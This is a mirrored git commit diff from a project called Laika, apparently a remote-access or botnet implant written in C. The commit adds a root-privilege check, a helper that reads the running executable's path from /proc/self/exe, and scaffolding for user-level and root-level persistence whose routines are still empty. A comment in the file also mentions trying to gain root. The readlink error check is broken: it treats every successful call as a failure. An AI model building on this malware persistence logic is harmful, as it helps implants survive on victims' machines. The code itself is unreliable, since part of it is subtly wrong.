mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 21:41:04 +00:00
Implemented linpersist.c:laikaB_checkRoot(), fixed Shell config argument
This commit is contained in:
parent
c0828a77c6
commit
56fb305ef2
@ -7,6 +7,9 @@
|
||||
#include "lsocket.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
static struct sLaika_socket laikaB_markerPort;
|
||||
|
||||
/* check if laika is already running */
|
||||
@ -21,7 +24,7 @@ bool laikaB_checkPersist() {
|
||||
|
||||
/* check if laika is running as super-user */
|
||||
bool laikaB_checkRoot() {
|
||||
return true; /* stubbed for now */
|
||||
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
||||
}
|
||||
|
||||
/* mark that laika is currently running */
|
||||
@ -44,9 +47,35 @@ void laikaB_unmarkRunning() {
|
||||
#endif
|
||||
}
|
||||
|
||||
void getCurrentExe(char *outPath, int pathSz) {
|
||||
int sz;
|
||||
|
||||
/* thanks linux :D */
|
||||
if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) != 0)
|
||||
LAIKA_ERROR("Failed to grab current process executable path!\n");
|
||||
|
||||
outPath[sz] = '\0';
|
||||
}
|
||||
|
||||
void tryPersistUser(char *path) {
|
||||
|
||||
}
|
||||
|
||||
void tryPersistRoot(char *path) {
|
||||
|
||||
}
|
||||
|
||||
/* try to gain persistance on machine */
|
||||
void laikaB_tryPersist() {
|
||||
/* stubbed */
|
||||
char exePath[PATH_MAX];
|
||||
|
||||
/* grab current process's executable & try to gain persistance */
|
||||
getCurrentExe(exePath, PATH_MAX);
|
||||
if (laikaB_checkRoot()) {
|
||||
tryPersistRoot(exePath);
|
||||
} else {
|
||||
tryPersistUser(exePath);
|
||||
}
|
||||
}
|
||||
|
||||
/* try to gain root */
|
||||
|
@ -52,7 +52,7 @@ int main(int argv, char *argc[]) {
|
||||
shellC_init(&client);
|
||||
|
||||
/* load config file */
|
||||
if (argv > 2)
|
||||
if (argv >= 2)
|
||||
configFile = argc[1];
|
||||
|
||||
if (!loadConfig(&client, configFile))
|
||||
|
Loading…
Reference in New Issue
Block a user